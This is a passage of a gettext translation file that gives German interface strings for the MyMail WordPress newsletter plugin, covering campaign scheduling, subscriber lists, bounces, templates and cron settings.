msgid "send every %1$s %2$s"
msgstr "sende alle %1$s %2$s"

#: 
msgid "at a specific time"
msgstr "zu einem bestimmten Zeitpunkt"

#: 
msgid "before"
msgstr "bevor"

#: 
msgctxt "every [x] [timeframe] starting [startdate]"
msgid "create a new campaign every %1$s%2$s"
msgstr "erstelle alle %1$s%2$s eine neue Kampagne"

#: 
msgid "end schedule"
msgstr "plane bis"

#: 
msgid "set an end date for your campaign"
msgstr "bestimme ein Enddatum für deine Kampagne"

#: 
msgid "send campaigns only on these weekdays"
msgstr "Kampagnen nur an diesen Wochentagen senden"

#: 
msgid "next campaign in %s"
msgstr "nächste Kampagne in %s"

#: 
msgid "until %s"
msgstr "bis %s"

#: 
msgctxt "only one [weekdays]"
msgid "only on %s"
msgstr "nur an %s"

#: 
msgid "create a new campaign every time a new %s has been published"
msgstr "erstelle eine neue Kampagne jedes mal wen ein(e) neue(r) %s veröffentlicht wurde"

#: 
msgid "always skip %s release"
msgid_plural "always skip %s releases"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "New campaign %s has been created!"
msgstr "Neue Kampagne %s wurde erstellt!"

#: 
msgid "Auto responder campaign %s has been finished and is deactivated!"
msgstr "Autoresponder Kampagne %s wurde beendet und deaktiviert!"

#: 
msgid "week(s)"
msgstr "Woche(n)"

#: 
msgid "month(s)"
msgstr "Monat(e)"

#: 
msgid "define a label for this field"
msgstr "bestimme die Bezeichnung für dieses Feld"

#: 
msgid "show asterisk on required fields"
msgstr "zeige Sternchen bei Pflichtfeldern"

#: 
msgid "System Info page"
msgstr "Systeminfoseite"

#: 
msgid "To copy the system info, click below then press Ctrl + C (PC) or Cmd + C (Mac)."
msgstr "Um die Systeminformationen zu kopieren zuerst in das Textfeld klicken und dann Strg + C (PC) oder Cmd + C (Mac)"

#: 
msgid "next schedule"
msgstr "Nächster Start"

#: 
msgid "Limits have been reseted"
msgstr "Limits wurden zurückgesetzt"

#: 
msgid "reset these limits"
msgstr "Limits zurücksetzen"

#: 
msgid "You can only perform 10 test within an hour. Please try again later!"
msgstr "Du kannst nur 10 Tests in der Stunde machen. Bitte probier es später noch einmal"

#: 
msgid "%s out of 10"
msgstr "%s von 10"

#: 
msgid "This mail will hardly see any inbox!"
msgstr "Dieses Mail wird kaum ein Postfach erreichen!"

#: 
msgid "You have to make it better!"
msgstr "Du musst das besser machen!"

#: 
msgid "Many inboxes will refuse this mail!"
msgstr "Viele Postfächer werden dieses Mail ablehenen!"

#: 
msgid "Not bad at all. Improve it further!"
msgstr "Nicht so schlecht! Du solltest es noch mehr verbessern!"

#: 
msgid "Almost perfect!"
msgstr "Fast perfekt!"

#: 
msgid "Great! Your campaign is ready to send!"
msgstr "Super! Deine Kampagne ist fertig zum Versand!"

#: 
msgid "A new user has subscribed to your newsletter!"
msgstr "Ein neuer Benutzer hat sich zu deinem Newsletter angemeldet!"

#: 
msgid "check your spam score"
msgstr "überprüfe den 'Spam Score'"

#: 
msgid "Send a notification of new subscribers to following receivers (comma separated)"
msgstr "Sende eine Benachrichtigung über neue Abonnenten an folgende Empfänger (durch Komma getrennt)"

#: 
msgid "Homepage created"
msgstr "Homepage erstellt"

#: 
msgid "You haven't defined a homepage for the newsletter. This is required to make the subscription form work correctly. Please check the %1$s or %2$s"
msgstr "Du hast kein Homepage für den Newsletter bestimmt. Diese wird benötigt damit das Formular korrekt funktioniert. Bitte überprüfe die %1$s oder %2$s"

#: 
msgid "create it right now"
msgstr "erstelle sie jetzt"

#: 
msgid "change language of texts if available to"
msgstr "ändere die Sprache der Texte falls verfügbar"

#: 
msgid "change language"
msgstr "Sprache wechseln"

#: 
msgid "Please define a homepage for the newsletter on the frontend tab"
msgstr "Bitte bestimme eine Homepage für den Newsletter auf dem \"Frontend\" Tab"

#: 
msgid "English"
msgstr "Englisch"

#: 
msgid "Enter name of the list"
msgstr "Bitte Name der Liste angeben"

#: 
msgctxt "[recipientstype] of [campaignname]"
msgid "%s of %s"
msgstr "%s von %s"

#: 
msgid "List has been created"
msgstr "Liste wurde erstellt"

#: 
msgid "who have opened"
msgstr "die geöffnet haben"

#: 
msgid "who have opened but not clicked"
msgstr "die geöffnet aber nicht geklickt haben"

#: 
msgid "who have not opened"
msgstr "die nicht geöffnet haben"

#: 
msgid "Search Subscribers"
msgstr "Suche Abonnenten"

#: 
msgid "create a new list with all"
msgstr "erstelle eine neue Liste mit allen"

#: 
msgid "create list"
msgstr "erstelle Liste"

#: 
msgid "Couldn't create List"
msgstr "Konnte Liste nicht erstellen!"

#: 
msgid "Receivers"
msgstr "Empfänger"

#: 
msgid "convert all subscribers with error status back to subscribed"
msgstr "ändere alle Abonnenten mit einem Error Status zurück"

#: 
msgid "who have received"
msgstr "die erhalten haben"

#: 
msgid "who have not received"
msgstr "die nicht erhalten haben"

#: 
msgid "who have opened and clicked"
msgstr "die geöffnet und geklickt haben"

#: 
msgid "%s has joined"
msgstr "%s hat sich angemeldet"

#: 
msgid "send campaign to these lists"
msgstr "sende Kampagne to diesen Listen"

#: 
msgid "toggle all"
msgstr "alle umschalten"

#: 
msgid "create new list"
msgstr "erstelle neue Liste"

#: 
msgid "Save as"
msgstr "Speichern als"

#: 
msgid "Please enter the name of the new template"
msgstr "Bitte gib den Namen des neuen Templates an"

#: 
msgid "Filter"
msgstr "Filter"

#: 
msgid "unopens"
msgstr "ungeöffnete"

#: 
msgid "%s bounce"
msgid_plural "%s bounces"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "All rights reserved %s"
msgstr "Alle Rechte vorbehalten %s"

#: 
msgctxt "common module name"
msgid "Full Size Image"
msgstr "Vollbild"

#: 
msgctxt "common module name"
msgid "Intro"
msgstr "Intro"

#: 
msgctxt "common module name"
msgid "Full Size Text Invert"
msgstr "invertierter Text für Vollbild"

#: 
msgctxt "common module name"
msgid "iPhone Promotion"
msgstr "iPhone Promotion"

#: 
msgctxt "common module name"
msgid "Macbook Promotion"
msgstr "Macbook Promotion"

#: 
msgctxt "common module name"
msgid "Quotation"
msgstr "Zitat"

#: 
msgctxt "common module name"
msgid "Plans"
msgstr "Tabelle"

#: 
msgctxt "common module name"
msgid "%s Image Full"
msgstr "%s Vollbild"

#: 
msgctxt "common module name"
msgid "%s Text Invert"
msgstr "%s Text invertiert"

#: 
msgctxt "common module name"
msgid "Image on the Left"
msgstr "Bild links"

#: 
msgctxt "common module name"
msgid "Image on the Right"
msgstr "Bild rechts"

#: 
msgctxt "common module name"
msgid "%s Image on the Left"
msgstr "%s Bild links"

#: 
msgctxt "common module name"
msgid "%s Image on the Right"
msgstr "%s Bild rechts"

#: 
msgctxt "common module name"
msgid "%s Floating Image left"
msgstr "%s Bild umfließend links"

#: 
msgctxt "common module name"
msgid "%s Floating Image right"
msgstr "%s Bild umfließend rechts"

#: 
msgctxt "common module name"
msgid "%s Image Features left"
msgstr "% Feature links"

#: 
msgctxt "common module name"
msgid "%s Image Features right"
msgstr "%s Feature rechts"

#: 
msgctxt "common module name"
msgid "%s Text"
msgstr "%s Text"

#: 
msgctxt "unsubscribelink"
msgid "unsubscribe"
msgstr "abmelden"

#: 
msgid "RSS"
msgstr "RSS"

#: 
msgid "Enter feed URL"
msgstr "Enter feed URL"

#: 
msgid "Recent Feeds"
msgstr "Recent Feeds"

#: 
msgid "change"
msgstr "ändern"

#. mymail
#: 
msgctxt "common module name"
msgid "Separator"
msgstr "Unterteiler"

#. mymail
#: 
msgctxt "common module name"
msgid "Separator with button"
msgstr "Unterteiler mit Button"

#. mymail
#: 
msgctxt "common module name"
msgid "Quotation left"
msgstr "Zitat links"

#. mymail
#: 
msgctxt "common module name"
msgid "Quotation right"
msgstr "Zitat rechts"

#. mymail
#: 
msgid "light"
msgstr "hell"

#. mymail
#: 
msgid "dark"
msgstr "dunkel"

#: 
msgid "Codeview"
msgstr "Codeansicht"

#: 
msgid "Name of the module (click to edit)"
msgstr "Name des Moduls (klicken zum bearbeiten)"

#: 
msgid "include modules"
msgstr "Module hinzufügen"

#: 
msgid "convert to link"
msgstr "in Link konvertieren"

#: 
msgid "Link"
msgstr "Link"

#: 
msgid "Image Button"
msgstr "Bild Button"

#: 
msgid "Text Button"
msgstr "Text Button"

#: 
msgid "Button Label"
msgstr "Buttonbezeichung"

#: 
msgid "button label"
msgstr "Buttonbezeichung"

#: 
msgid "use HighDPI/Retina ready images if available"
msgstr "verwende HighDPI/Retina ready Bilder falls verfügbar"

#: 
msgid "HighDPI/Retina ready"
msgstr "HighDPI/Retina ready"

#: 
msgid "Permalink Structure"
msgstr "Permalinks"

#: 
msgid "Campaign slug"
msgstr "Kampagnen URL-Struktur"

#: 
msgid "changing the slug may cause broken links in previous sent campaigns!"
msgstr "Das ändern der URL-Struktur kann fehlerhafte Links in bereits gesendete Kampagnen verursachen!"

#: 
msgctxt "Campaign slug"
msgid "Define a %s to enable custom slugs"
msgstr "Bestimme %s um eine benutzerdefinerte URL-Struktur zu aktivieren"

#: 
msgid "nickname"
msgstr "Spitzname"

#: 
msgid "sending %s emails at once can cause problems with statistics cause of a server timeout or to much memory usage! You should decrease it if you have problems!"
msgstr "Das Senden von %s E-Mails auf einmal kann Probleme wie Server-Timout oder erhöhte Speichernutzung verursachen! Du solltest den den Wert verringern falls Probleme auftreten!"

#. mymail
#: 
msgid "Not able to connected to %1$s via port %2$s! You may not be able to send mails cause of the locked port %3$s. Please contact your host or choose a different delivery method!"
msgstr "Es konnte keine Verbindung zu %1$s über Port %2$s hergestellt werden! Du kannst möglicherweise keine E-Mails über den blockierten Port %3$s versenden. Bitte kontaktiere deinen Provider oder wähle eine alternative Sendemethode!"

#: 
msgid "MyMail Test Email"
msgstr "MyMail Test E-Mail"

#: 
msgid "no receivers!"
msgstr "Keine Empfänger!"

#: 
msgid "search for more delivery methods"
msgstr "Suche nach mehr Sendemethoden"

#: 
msgid "Check bounce server every %s minutes for new messages"
msgstr "Überprüfe den Bounceserver alle %s Minuten auf neue Nachrichten"

#: 
msgid "Soft Bounces"
msgstr "Soft Bounces"

#: 
msgid "Resend soft bounced mails after %s minutes"
msgstr "Soft Bounces erneut nach %s Minuten senden"

#: 
msgid "by"
msgstr "von"

#: 
msgid "Cron is currently running!"
msgstr "Cron ist zur Zeit aktiv!"

#: 
msgid "Options have been reseted!"
msgstr "Einstellungen wurden zurückgesetzt!"

#: 
msgid "Please change the slug or permalink of %s since it's used by the archive page"
msgstr "Bitte den Permalink von %s ändern da er von der Archivseite verwendet wird"

#: 
msgid "enable archive function to display your newsletters in a reverse chronological order"
msgstr "verwende eine Archiv um deine Newsletter in umgekehrt-chronologischer Reihe anzuzeigen"

#: 
msgid "WordPress cron is disabled! Uncomment the %s constant in the wp-config.php or use a real cron instead"
msgstr "WordPress Cron is deaktiviert! Entferne %s in the wp-config.php oder verwende einen echten Cron Service"

#: 
msgid "Do you really like to reset the options? This cannot be undone!"
msgstr "Möchtest du wirklich die Einstellungen zurücksetzten? Dieser Schritt kann nicht rückgängig gemacht werden!"

#: 
msgid "Reset all settings"
msgstr "Einstellungen zurücksetzen"

#: 
msgid "Use following meta values"
msgstr "Verwende folgende Metadaten"

#: 
msgid "via"
msgstr "über"

#: 
msgid "redirect after confirm"
msgstr "weiterleiten nach Bestätigung"

#: 
msgid "Loading"
msgstr "Lade"

#: 
msgid "System Info"
msgstr "Systeminformation"

#: 
msgid "%s unique"
msgstr "%s eindeutige"

#: 
msgid "unknown"
msgstr "unbekannt"

#: 
msgid "Template %s has been uploaded"
msgstr "Template %s wurde hochgeladen"

#: 
msgid "This Campaign has been paused"
msgstr "Die Kampagne wurde pausiert"

#: 
msgid "This campaign is based on subscribers timezone and problably will take up to 24 hours"
msgstr "Diese Kampagne basiert auf die Zeitzonen der Abonnenten und kann bis zu 24 Stunden dauern"

#: 
msgid "year(s)"
msgstr "Jahr(e)"

#: 
msgid "based on the users %1$s value"
msgstr "basierend auf den %1$s des Abonnenten"

#: 
msgid "%s of sent"
msgstr "%s der gesendeten"

#: 
msgid "%s of opens"
msgstr "%s der geöffneten"

#: 
msgid "%s of totals"
msgstr "%s der gesamten"

#: 
msgid "loading"
msgstr "Lade"

#: 
msgid "Click to edit %s"
msgstr "Klicken um %s zu bearbeiten"

#: 
msgid "The status of this campaign has changed. Please reload the page or %s"
msgstr "Der Status der Kamapgne hat sich geändert. Bitte die Seite neu laden oder %s"

#: 
msgid "click here"
msgstr "hier klicken"

#: 
msgctxt "segment of all [recipients] from campaign [campaign]"
msgid "A segment of all %1$s of %2$s"
msgstr "Ein Teil aller %1$s von %2$s"

#: 
msgid "ID"
msgstr "ID"

#: 
msgid "Sent date"
msgstr "Sendedatum"

#: 
msgid "Open date"
msgstr "Öffnungsdatum"

#: 
msgid "Open Count"
msgstr "Öffnungen"

#: 
msgid "Click Count"
msgstr "Klicks"

#: 
msgid "unsubscribes"
msgstr "Abmeldungen"

#: 
msgid "order by"
msgstr "ordnen nach"

#: 
msgid "order direction"
msgstr "Richtung"

#: 
msgid "has unsubscribed"
msgstr "hat sich abgemeldet"

#: 
msgid "Image files"
msgstr "Bilddateien"

#: 
msgid "The WordPress Cron is disabled! Please remove the %s constant from your wp-config.php file or switch to a real cron job!"
msgstr "WordPress Cron ist deaktiviert! Bitte entferne die %s Konstante von der wp-config.php Datei oder wechsle zu einem echten Cron Dienst"

#: 
msgid "Are your campaigns not sending? You may have to check your %1$s"
msgstr "Werden deine Kamapgnen nicht gesendet? Du musst vielleicht die %1$s überprüfen"

#: 
msgid "cron settings"
msgstr "Cron Einstellungen"

#: 
msgid "Update Profile"
msgstr "Profil aktualisieren"

#: 
msgid "You are already registered"
msgstr "Sie sind bereits registriert"

#: 
msgid "A new confirmation message has been sent"
msgstr "Eine neue Bestätigungsnachricht wurde gesendet"

#: 
msgid "%d Lists have been removed"
msgstr "%d Listen wurden entfernt"

#: 
msgid "%d Lists with subscribers have been removed"
msgstr "%d Listen mit deren Abonnenten wurden entfernt"

#: 
msgid "Subscribers have been subscribed"
msgstr "Abonnenten wurden angemeldet"

#: 
msgid "Subscribers have been unsubscribed"
msgstr "Abonnenten wurden abgemeldet"

#: 
msgid "%1$s already exists. %2$s"
msgstr "%1$s existiert bereits %2$s"

#: 
msgid "Edit this user"
msgstr "Diese Benutzer bearbeiten"

#: 
msgid "List added"
msgstr "Liste hinzugefügt"

#: 
msgid "List saved"
msgstr "Liste gespeichert"

#: 
msgid "List %s has been removed"
msgstr "Liste %s wurde entfernt"

#: 
msgid "Segments"
msgstr "Segmente"

#: 
msgid "contains all segments"
msgstr "enthält alle Segmente"

#: 
msgid "Segment #%d"
msgstr "Segment #%d"

#: 
msgid "Segment created by %s"
msgstr "Segment erstellt von %s"

#: 
msgid "List"
msgstr "Liste"

#: 
msgid "All"
msgstr "Alle"

#: 
msgid "Description"
msgstr "Beschreibung"

#: 
msgid "Updated"
msgstr "Aktualisiert"

#: 
msgid "Added"
msgstr "Hinzugefügt"

#: 
msgid "Delete with subscribers"
msgstr "mit allen Abonnenten löschen"

#: 
msgid "Subscribe subscribers"
msgstr "Abonnenten anmelden"

#: 
msgid "Unsubscribe subscribers"
msgstr "Abonnenten abmelden"

#: 
msgid "Send new Campaign"
msgstr "Neu Kampagne senden"

#: 
msgid "Signup + Confirm Date"
msgstr "Anmelde + Bestätigungsdatum"

#: 
msgid "Signup IP Address"
msgstr "IP Adresse b. Anmelden"

#: 
msgid "Confirm IP Address"
msgstr "IP Adresse b. Bestätigen"

#: 
msgid "Confirm + Signup IP Address"
msgstr "Bestätigung- + Anmelde-IP Adresse"

#: 
msgid "all IP Addresses"
msgstr "alle IP Adressen"

#: 
msgid "Language"
msgstr "Sprache"

#: 
msgid "Define which column represents which field"
msgstr "Bestimme welche Spalte welches Feld sein soll"

#: 
msgid "Basic"
msgstr "Basis"

#: 
msgid "no Custom Fields defined!"
msgstr "keine Benutzerdefinierten Felder bestimmt"

#: 
msgid "Time Options"
msgstr "Zeitoptionen"

#: 
msgid "IP Options"
msgstr "IP Optionen"

#: 
msgid "Other Meta"
msgstr "Andere Metadaten"

#: 
msgid "%s contacts are hidden"
msgstr "%s Kontakte wurden ausgeblendet"

#: 
msgid "Import %s contacts"
msgstr "Importiere %s Kontakte"

#: 
msgid "Please make sure you have the permission to import these contacts!"
msgstr "Bitte stelle sicher, dass du die Berechtigung, um diese Kontakte zu importieren, hast!"

#: 
msgid "ignore or as defined above"
msgstr "ignorieren oder wie oben definiert"

#: 
msgid "Use following numbers for different statuses"
msgstr "Verwende folgende Nummer für die verschiedenen Stati"

#: 
msgid "choosing \"pending\" as status will force a confirmation message to the subscriber"
msgstr "bei \"Ausstehend\" als Status wird eine Bestätigungsnachricht an den Abonnenten gesendet"

#: 
msgid "Other"
msgstr "Andere"

#: 
msgid "low memory usage (slower)"
msgstr "verwende weniger Speicher (langsamer)"

#: 
msgid "%1$s of %2$s contacts imported"
msgstr "%1$s von %2$s Kontakte importiert"

#: 
msgid "Hash"
msgstr "Hash"

#: 
msgid "%s subscribers removed"
msgstr "%s Abonnenten entfernt"

#: 
msgid "Add Ons"
msgstr "Erweiterungen"

#: 
msgid "Return to Add Ons Page"
msgstr "Zurück zu den Erweiterungen"

#: 
msgid "Your MyMail Newsletter Plugin is ready!"
msgstr "Dein MyMail Newsletter Plugin is startklar!"

#: 
msgid "Notification %1$s has thrown an error: %2$s"
msgstr "Benachrichtigung %1$s verursachte einen Fehler: %2$s"

#: 
msgid "Autoresponder %1$s has caused sending error: %2$s"
msgstr "Autoresponder %1$s hat einen Fehler verursacht: %2$s"

#: 
msgid "Profile updated!"
msgstr "Profile aktualisiert!"

#: 
msgid "update profile"
msgstr "Profil aktualisieren"

#: 
msgid "You are about to overwrite all subscriber data with the matching WordPress User data. Continue?"
msgstr "Du überschreibst alle vorhanden Abonnentendaten mit den passenden WordPress Benutzer Daten. Fortfahren?"

#: 
msgid "You are about to overwrite all WordPress User data with the matching subscriber data. Continue?"
msgstr "Du überschreibst alle vorhanden WordPress Benutzer Daten mit den passenden Abonnentendaten. Fortfahren?"

#: 
msgid "%d Subscribers have been removed"
msgstr "%d Abonnenten wurden entfernt"

#: 
msgid "%d Subscribers have been unsubscribed"
msgstr "%d Abonnenten wurden abgemeldet"

#: 
msgid "%d Subscribers have been subscribed"
msgstr "%d Abonnenten wurden angemeldet"

#: 
msgid "%d Subscribers have been assigned to a new list"
msgstr "%d Abonnenten wurden einer neuen Liste zugewiesen"

#: 
msgid "Subscriber added"
msgstr "Abonnent hinzugefügt"

#: 
msgid "Subscriber saved"
msgstr "Abonnent gespeichert"

#: 
msgid "Subscriber %s has been removed"
msgstr "Abonnent %s wurde entfernt"

#: 
msgid "User does not exist!"
msgstr "Benutzer existiert nicht!"

#: 
msgid "%d times"
msgstr "%d mal"

#: 
msgid "with %s"
msgstr "mit %s"

#: 
msgid "%s soft bounce"
msgid_plural "%s soft bounces"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "Hard bounced at %s"
msgstr "Hardbounced am %s"

#: 
msgid "pending"
msgstr "ausstehend"

#: 
msgid "emails"
msgstr "E-Mails"

#: 
msgid "%d Update available"
msgid_plural "%d Updates available"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "Unable to unzip template"
msgstr "Konnte Template nicht entpacken"

#: 
msgid "Unable to save template"
msgstr "Konnte Template nicht speichern"

#: 
msgid "Template %s already exists!"
msgstr "Template %s existiert bereits!"

#: 
msgid "The header of this template files is missing or corrupt"
msgstr "Der Kopfbereich diese Templates ist nicht vorhanden oder ungültig"

#: 
msgid "This is not a valid MyMail template ZIP"
msgstr "Das ist keine gültige MyMail Template ZIP Datei"

#: 
msgid "uploading zip file %s"
msgstr "Hochladen der ZIP Datei %s"

#: 
msgid "Please enter a valid Licensecode!"
msgstr "Bitte einen gültigen Lizenzcode eingeben!"

#: 
msgid "Cannot delete the default template %s"
msgstr "Kann das Standardtemplate %s nicht löschen"

#: 
msgid "Template %s has been deleted"
msgstr "Template %s wurde gelöscht"

#: 
msgid "Template %s has not been deleted"
msgstr "Template %s wurde nicht gelöscht"

#: 
msgid "File does not exist. Please contact %s for help!"
msgstr "Datei existiert nicht. Bitte kontaktiere %s für Hilfe!"

#: 
msgid "There was an error: %s"
msgstr "Ein Fehler ist aufgetreten: %s"

#: 
msgid "MyMail Template ZIP file"
msgstr "MyMail Template ZIP Datei"

#: 
msgid "Drop your ZIP file here to upload new template"
msgstr "Hier deine ZIP Datei herziehen um neues Template hochzuladen"

#: 
msgid "Profile Updated!"
msgstr "Profile aktualisiert!"

#: 
msgid "a specific user time"
msgstr "eine gewisse Benutzerzeit"

#: 
msgid "a specific action hook"
msgstr "eine gewissen Action Hook"

#: 
msgid "change text version"
msgstr "ändere Textversion"

#: 
msgid "add subscribers"
msgstr "Abonnenten hinzufügen"

#: 
msgid "bulk delete subscribers"
msgstr "Abonnenten löschen"

#: 
msgid "add lists"
msgstr "Liste hinzufügen"

#: 
msgid "Deactivate"
msgstr "deaktivieren"

#: 
msgid "Activate"
msgstr "aktivieren"

#: 
msgid "Download from wordpress.org"
msgstr "von wordpress.org herunterladen"

#: 
msgid "Get this Add On"
msgstr "Lade diese Erweiterung"

#: 
msgid "You don't have the right permission to add new lists"
msgstr "Du hast nicht die Berechtigung, neue Listen anzulegen"

#: 
msgid "delete List"
msgstr "Liste löschen"

#: 
msgid "Do you really like to remove this list?"
msgstr "Willst du wirklich diese Liste löschen?"

#: 
msgid "delete List with Subscribers"
msgstr "Liste mit allen Abonnenten löschen"

#: 
msgid "Do you really like to remove this list with all subscribers?"
msgstr "Willst du wirklich diese Liste mit allen Abonnenten löschen?"

#: 
msgid "Add new List"
msgstr "Neue Liste hinzufügen"

#: 
msgid "Edit List %s"
msgstr "Liste %s bearbeiten"

#: 
msgid "add New"
msgstr "Hinzufügen"

#: 
msgid "Name of the List"
msgstr "Name der Liste"

#: 
msgid "%s Subscriber"
msgid_plural "%s Subscribers"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "Mail sent"
msgid_plural "Mails sent"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "Activity"
msgstr "Aktivitäten"

#: 
msgid "Action"
msgstr "Aktion"

#: 
msgid "Campaign %s has start sending"
msgstr "Kampagne %s wurde gesendet"

#: 
msgid "First open in Campaign %s"
msgstr "Erster öffnet Kampagne %s"

#: 
msgid "%1$s in Campaign %2$s clicked"
msgstr "%1$s in Kampagne %2$s geklicket"

#: 
msgid "First subscription canceled"
msgstr "Erstes Abmeldung"

#: 
msgid "Soft bounce (%d tries)"
msgstr "Softbounce (%d Versuche)"

#: 
msgid "Hard bounce"
msgstr "Hardbounce"

#: 
msgid "no activity yet"
msgstr "keine Aktivitäten bis jetzt"

#: 
msgid "Copy and paste from your spreadsheet app"
msgstr "Kopiere und füge von deinem Tabellenkalkulationprogramm ein"

#: 
msgid "remove all actions from affected users"
msgstr "alle Aktionen der betroffenen Benutzer entfernen"

#: 
msgid "Server time: %s %s"
msgstr "Serverzeit: %s %s"

#: 
msgid "Send this campaign based on the subscribers timezone if known"
msgstr "Sende diese Kampagne - fallse bekannt - basierend auf die Zeitzone der Abonnenten"

#: 
msgid "Use Subscribers timezone"
msgstr "Benutze Zeitzonen der Abonnenten"

#: 
msgctxt "send campaign \"on\" (date) \"at\" (time)"
msgid "%1$s @ %2$s"
msgstr "%1$s @ %2$s"

#: 
msgid "Hook used to trigger campaign"
msgstr "Action Hook, der die Kampagne starten soll"

#: 
msgid "use `do_action(\"hook_name\")`, or `do_action(\"hook_name\", $subscriber_id)` to trigger this campaign"
msgstr "verwende `do_action(\"hook_name\")` oder `do_action(\"hook_name\", $subscriber_id)` um diese Kampagne zu starten"

#: 
msgid "Priority"
msgstr "Priorität"

#: 
msgid "High"
msgstr "Hoch"

#: 
msgid "Normal"
msgstr "Normal"

#: 
msgid "Low"
msgstr "Niedrig"

#: 
msgid "send campaign only once"
msgstr "sende Kampagne nur einmal"

#: 
msgid "finished in approx. %s"
msgstr "beendet in ca. %s"

#: 
msgid "took %s"
msgstr "brauchte %s"

#: 
msgid "details"
msgstr "Details"

#: 
msgid "Desktop"
msgstr "Desktop"

#: 
msgid "Mobile"
msgstr "Mobil"

#: 
msgid "Web Client"
msgstr "Webklient"

#: 
msgid "Environment"
msgstr "Umgebung"

#: 
msgid "Geo Location"
msgstr "Orte"

#: 
msgid "User Role"
msgstr "Benutzerrolle"

#: 
msgid "User Level"
msgstr "Benutzer Level"

#: 
msgid "is greater"
msgstr "ist größer"

#: 
msgid "is smaller"
msgstr "ist kleiner"

#: 
msgid "is greater or equal"
msgstr "ist größer od. gleich"

#: 
msgid "is smaller or equal"
msgstr "ist kleiner od. gleich"

#: 
msgid "Meta Data"
msgstr "Metadaten"

#: 
msgid "WordPress User Meta"
msgstr "WordPress Benutzerdaten"

#: 
msgid "Any List"
msgstr "Irgendeine Liste"

#: 
msgid "protect the webversion with a password"
msgstr "schütze die Webansicht mit einem Passwort"

#: 
msgid "password protected"
msgstr "Passwortgeschützt"

#: 
msgid "Confirm"
msgstr "Bestätige"

#: 
msgid "toggle HTML/Plain-Text view"
msgstr "zwischen HTML- und Textansicht umschalten"

#: 
msgid "Size"
msgstr "Größe"

#: 
msgid "search for images"
msgstr "suche nach Bildern"

#: 
msgid "search for posts"
msgstr "suche nach Artikel"

#: 
msgid "Create the plain text version based on the HTML version of the campaign"
msgstr "Erstelle die Textversion anhand der HTML Version der Kampagne"

#: 
msgid "get text from HTML version"
msgstr "lade Text von der HTML Version"

#: 
msgid "Delivery by Time Zone"
msgstr "Versand nach Zeitzone"

#: 
msgid "Send Campaigns based on the subscribers timezone if known"
msgstr "Sende Kampagnen basierend auf die Zeitzone der Abonnenten "

#: 
msgid "Sync WordPress Users"
msgstr "WordPress Benutzer synchronisieren"

#: 
msgid "Sync WordPress Users with Subscribers"
msgstr "WordPress Benutzer mit Abonnenten synchronisieren"

#: 
msgid "keep WordPress User data and Subscriber data synchronized. Only affects existing Subscribers"
msgstr "hält WordPress Benutzer und Abonnenten synchron. Nur für existierende Abonnenten"

#: 
msgid "Meta Data List"
msgstr "Metadatenliste"

#: 
msgid "Meta Fields"
msgstr "Metadaten"

#: 
msgid "%s syncs with %s"
msgstr "%s ist synchron mit %s"

#: 
msgid "manually sync all existing users based on the above settings. (save required)"
msgstr "synchronisiere alle existierenden Benutzer anhand der obigen Einteilungen (erfordert ein Speichern)"

#: 
msgid "Profile Update"
msgstr "Profil Update"

#: 
msgid "Profile Button"
msgstr "Profile Button"

#: 
msgid "Profile Link"
msgstr "Profil Link"

#: 
msgid "You can keep a browser window open with following URL"
msgstr "Du kannst ein Browserfenster mit der folgendem Link öffnen"

#: 
msgid "You don't have the right permission to add new subscribers"
msgstr "Du hast nicht die Berechtigung um neue Abonnenten anzulegen"

#: 
msgid "delete Subscriber"
msgstr "Abonnent löschen"

#: 
msgid "Do you really like to remove this subscriber?"
msgstr "Willst du wirklich diesen Abonnent löschen?"

#: 
msgid "Add new Subscriber"
msgstr "Neuen Abonnenten anlegen"

#: 
msgid "Edit %s"
msgstr "%s bearbeiten"

#: 
msgid "goto WordPress User profile"
msgstr "zum WordPress Benutzerprofil"

#: 
msgid "subscribed at"
msgstr "angemeldet am"

#: 
msgid "import on %s"
msgstr "importiert am %s"

#: 
msgid "WP user on %s"
msgstr "WP Benutzer am %s"

#: 
msgid "Backend on %s"
msgstr "Backend am %s"

#: 
msgid "an extern form on %s"
msgstr "ein externes Formular on %s"

#: 
msgid "Homepage on %s"
msgstr "Homepage am %s"

#: 
msgid "more"
msgstr "mehr"

#: 
msgid "confirmed at"
msgstr "bestätigt am"

#: 
msgid "latest known IP"
msgstr "letzte bekannte IP"

#: 
msgid "latest updated"
msgstr "letztes Update"

#: 
msgid "nothing selected"
msgstr "nichts ausgewählt"

#: 
msgid "yes"
msgstr "ja"

#: 
msgid "no"
msgstr "nein"

#: 
msgid "User has not been assigned to a list"
msgstr "Benutzer ist mit keiner Liste verknüpft"

#: 
msgid "from"
msgstr "von"

#: 
msgid "Campaign sent"
msgid_plural "Campaigns sent"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "Most popular client"
msgstr "Beliebtester Klient"

#: 
msgid "Other used clients"
msgstr "Andere verwendete Klienten"

#: 
msgid "%1$s needs about %2$s to open a campaign"
msgstr "%1$s braucht um die %2$s um eine Kampagne zu öffnen"

#: 
msgid "User"
msgstr "Benutzer"

#: 
msgid "and %1$s to click a link"
msgstr "und %1$s um einen Link zu klicken"

#: 
msgid "User has never opened a campaign"
msgstr "Benutzer hat noch nie eine Kampagne geöffnet"

#: 
msgid "Campaign %s has been sent"
msgstr "Kampagne %s wurde gesendet"

#: 
msgid "opened Campaign %s"
msgstr "öffnet Kampagne %s"

#: 
msgid "clicked %1$s in Campaign %2$s"
msgstr "klickt %1$s in Kampagne %2$s"

#: 
msgid "a link"
msgstr "einen Link"

#: 
msgid "unsubscribed your newsletter"
msgstr "meldete sich ab"

#: 
msgid "import"
msgstr "Import"

#: 
msgid "export"
msgstr "Export"

#: 
msgid "Search result for %s"
msgstr "Suchergebnis für %s"

#: 
msgid "Profile"
msgstr "Profil"

#: 
msgid "Edit my MyMail Profile"
msgstr "Bearbeite mein MyMail Profil"

#: 
msgid "Edit Users MyMail Profile"
msgstr "Bearbeite Benutzers MyMail Profil"

#: 
msgid "Create"
msgstr "Erstellen"

#: 
msgid "Create MyMail Subscriber"
msgstr "Erstelle MyMail Abonnent"

#: 
msgid "activate with licensecode"
msgstr "aktivieren mit Lizenzcode"

#: 
msgid "update template"
msgstr "Template aktualisieren"

#: 
msgid "This file is not writeable! Please change the file permission"
msgstr "Diese Datei ist nicht beschreibbar! Bitte ändere die Dateirechte"

#: 
msgid "more Templates"
